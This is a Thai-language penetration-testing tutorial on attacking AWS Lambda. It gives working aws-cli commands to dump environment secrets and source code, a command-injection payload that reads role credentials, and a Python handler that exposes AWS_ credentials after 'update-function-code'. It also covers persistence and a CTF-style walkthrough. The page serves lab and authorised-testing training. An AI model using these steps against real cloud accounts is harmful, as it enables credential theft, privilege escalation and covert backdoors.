AWS Lambda & Serverless Attacks
Lambda & Serverless Attacks ครอบคลุมการโจมตี AWS Lambda: การดึง source code + env variable (มัก leak secret), การ inject ผ่าน event (SQLi/SSRF/command injection ใน handler), การยกสิทธิ์ผ่าน Lambda execution role, การ persist (layer/trigger), และ event injection จาก trigger ต่างๆ บทนี้มีคำสั่งครบ + lab + troubleshooting (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาตเท่านั้น)
1. หลักการ
Lambda รันโค้ดแบบ serverless ตอบสนอง event (API Gateway, S3, SQS ฯลฯ) แต่ละ function รันด้วย execution role (IAM role) และมี environment variables ที่มัก hardcode secret จุดโจมตี: ดึง code+env (เห็น secret), inject ผ่าน event ที่ handler ไม่ validate, และ abuse execution role ที่กว้างเกิน
2. Enumerate + ดึง Code & Env
# list functions
aws lambda list-functions --query 'Functions[].FunctionName'
# ดู config + ENV VARIABLES (มัก leak secret!)
aws lambda get-function-configuration --function-name <fn> \
--query 'Environment.Variables'
# ดึง source code (presigned URL)
aws lambda get-function --function-name <fn> --query 'Code.Location' --output text
# → ได้ URL, wget มาแตก
wget -O code.zip "<url>" && unzip code.zip -d code
grep -rnE 'password|secret|api[_-]?key|AKIA|flag|conn' codeEnvironment.Variables ก่อนเสมอ3. Event Injection (SSRF/RCE ใน Handler)
Lambda ที่รับ event จาก API Gateway = รับ input จากผู้ใช้ ถ้า handler เอา input ไปใช้โดยไม่ validate → injection เหมือน web (command injection, SSRF, SQLi) แต่รันใน execution environment ที่มี credential
# ดึง credential ของ execution role จาก env (ภายใน Lambda)
# ถ้า command injection ได้:
# env | grep AWS_ → AWS_ACCESS_KEY_ID / SECRET / SESSION_TOKEN
# (Lambda inject credential ของ role เป็น env var อัตโนมัติ)
# invoke ตรงเพื่อทดสอบ payload
aws lambda invoke --function-name <fn> \
--payload '{"cmd":"id; env | grep AWS_"}' out.json
cat out.json
# SSRF ใน Lambda → ดึง credential จาก metadata-equivalent
# (Lambda ใช้ env var ไม่ใช่ IMDS แต่ถ้า code fetch URL ได้ = SSRF ออกไปที่อื่น)4. Execution Role Privilege Escalation
# 1. ดู role ที่ function ใช้
aws lambda get-function-configuration --function-name <fn> --query 'Role'
# 2. ถ้า invoke ได้ + แก้ code ได้ → ใส่โค้ด exfil credential
cat > exfil.py <<'PY'
import os, urllib.request, json
def handler(e,c):
creds = {k:v for k,v in os.environ.items() if k.startswith('AWS_')}
return creds # หรือ POST ไป attacker
PY
zip f.zip exfil.py
aws lambda update-function-code --function-name <fn> --zip-file fileb://f.zip
aws lambda invoke --function-name <fn> out.json && cat out.json
# 3. ใช้ credential ที่ได้ (มีสิทธิ์ของ execution role)
export AWS_ACCESS_KEY_ID=... AWS_SECRET_ACCESS_KEY=... AWS_SESSION_TOKEN=...
aws sts get-caller-identitylambda:UpdateFunctionCode + lambda:InvokeFunction บน function ที่ role สิทธิ์สูง = privesc ทันที (แก้ code → ดึง credential → ใช้สิทธิ์ role)5. Persistence
- Lambda layer: inject malicious layer ที่ทุก function โหลด
- Trigger: เพิ่ม trigger (S3 event/schedule) ให้ function รันเอง
- Resource policy: เพิ่ม permission ให้ external account invoke
- Backdoor code: แก้ function ที่รันบ่อยให้ทำงานเพิ่ม (เงียบๆ)
6. Lab Walkthrough
- 1มี credential สิทธิ์จำกัด →
aws lambda list-functionsเจอ function 'process-data' - 2ดู env:
get-function-configuration --query Environment.Variables→ เจอDB_PASSWORD,API_KEY - 3ดึง code:
get-function --query Code.Location→ wget → grep เจอ logic + hardcoded secret - 4ถ้า role กว้าง:
update-function-codeใส่ exfil →invoke→ ได้ credential ของ execution role - 5pivot: ใช้ credential นั้นทำต่อ (S3/IAM/Secrets) ตามสิทธิ์ role
- 6flag มักอยู่: env variable, code, หรือ resource ที่ role เข้าถึง
7. Troubleshooting
| อาการ | สาเหตุ / แก้ |
|---|---|
| get-function: AccessDenied | ขาด lambda:GetFunction — ลอง list/get-configuration แทน |
| invoke ได้แต่ไม่เห็น output | ดู CloudWatch Logs (/aws/lambda/ |
| update-code: AccessDenied | ขาด UpdateFunctionCode — ลอง path อื่น (env อ่านได้ไหม) |
| credential ใช้ไม่ได้ | execution role credential = temp (มี session token, หมดเร็ว) |
| code.zip แตกไม่ได้ | อาจเป็น container image — ดึงจาก ECR แทน |
8. Indicators & Quick Reference
lambda:UpdateFunctionCode = privesc- เริ่ม: list-functions → get-function-configuration (env!) → get-function (code)
- env variable = จุดทอง (DB password, API key)
- UpdateFunctionCode + InvokeFunction + role สูง = privesc
- credential ของ role อยู่ใน env: AWS_ACCESS_KEY_ID/SECRET/SESSION_TOKEN
- เชื่อม: Lambda → IAM privesc (ดูหัวข้อ AWS IAM Privilege Escalation)
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติเพิ่งเจอโจทย์นี้: อาจมี AWS credential ที่เข้าถึง Lambda ได้ หรือเจอ HTTP endpoint (API Gateway) ที่ backed ด้วย Lambda อยู่บนหน้าเว็บ มีแค่เครื่อง Kali เปล่า ๆ ทำตามนี้ทีละขั้น
- 1ถ้ามี credential ก่อน: พิมพ์
aws lambda list-functions --profile target— ถ้าได้รายชื่อ function กลับมา = มีสิทธิ์เข้าถึง Lambda - 2ดู environment variables ของแต่ละ function (มัก leak secret):
aws lambda get-function-configuration --function-name <fn> --query 'Environment.Variables' - 3ดึง source code:
aws lambda get-function --function-name <fn> --query 'Code.Location' --output textแล้วwget -O code.zip "<url>" && unzip code.zip -d code - 4grep หา secret ในโค้ด:
grep -rnE 'password|secret|api[_-]?key|AKIA|flag' code/ - 5ถ้าไม่มี credential เลย แต่เจอ URL ที่หน้าเว็บเรียกใช้ (API Gateway) ให้ลองยิง payload ตรง ๆ ด้วย
curlดูว่า handler validate input ไหม (command injection/SSRF) - 6เช็คว่ามีสิทธิ์แก้ code ไหม: ลอง
aws lambda update-function-code --function-name <fn> --zip-file fileb://f.zipด้วย zip ที่มีโค้ดenv | grep AWS_ฝังไว้ - 7invoke แล้วอ่านผล:
aws lambda invoke --function-name <fn> out.json && cat out.json— ถ้าเห็น AWS_ACCESS_KEY_ID/SECRET/SESSION_TOKEN = ได้ credential ของ execution role - 8export credential ที่ได้แล้วเช็คสิทธิ์ใหม่:
export AWS_ACCESS_KEY_ID=... AWS_SECRET_ACCESS_KEY=... AWS_SESSION_TOKEN=...แล้วaws sts get-caller-identity - 9ถ้าสิทธิ์ของ role กว้างกว่าเดิม ให้ enumerate ต่อด้วย pacu
iam__privesc_scanเหมือนหัวข้อ IAM privesc - 10หา flag/secret สุดท้ายใน env variable, source code, หรือ resource อื่นที่ execution role เข้าถึงได้ (S3/Secrets Manager)
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| เรียก Lambda API (list/get-function/invoke) | aws-cli | sudo apt install awscli -y | - |
| ยิง payload เข้า API Gateway endpoint | curl | - | - |
| หา privesc path จาก execution role credential ที่ได้ | - | pacu (iam__privesc_scan) | - |
| สแกน misconfig ทั้ง account | - | ScoutSuite | - |
| brute-force สิทธิ์ที่เรียกได้ของ credential ใหม่ | - | enumerate-iam | - |
| แกะ JSON response / policy ที่ดึงมาได้ | jq | - | CyberChef |
| ฝึกโจทย์ serverless จำลองก่อนลงจริง | - | - | flaws.cloud, hackingthe.cloud |
aws-iam-privesc ถ้าได้ execution role credential มาแล้วอยากยกระดับสิทธิ์ต่อ, ลอง aws-s3-attacks ถ้า function/role เข้าถึง S3 bucket ได้, ลอง kubernetes-attacks ถ้า workload จริง ๆ รันบน container/EKS แทน Lambda, ถ้าไม่มีทางเข้าเลยตั้งแต่แรกลองกลับไปที่ ssrf เพื่อหา metadata endpoint จาก web appหัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้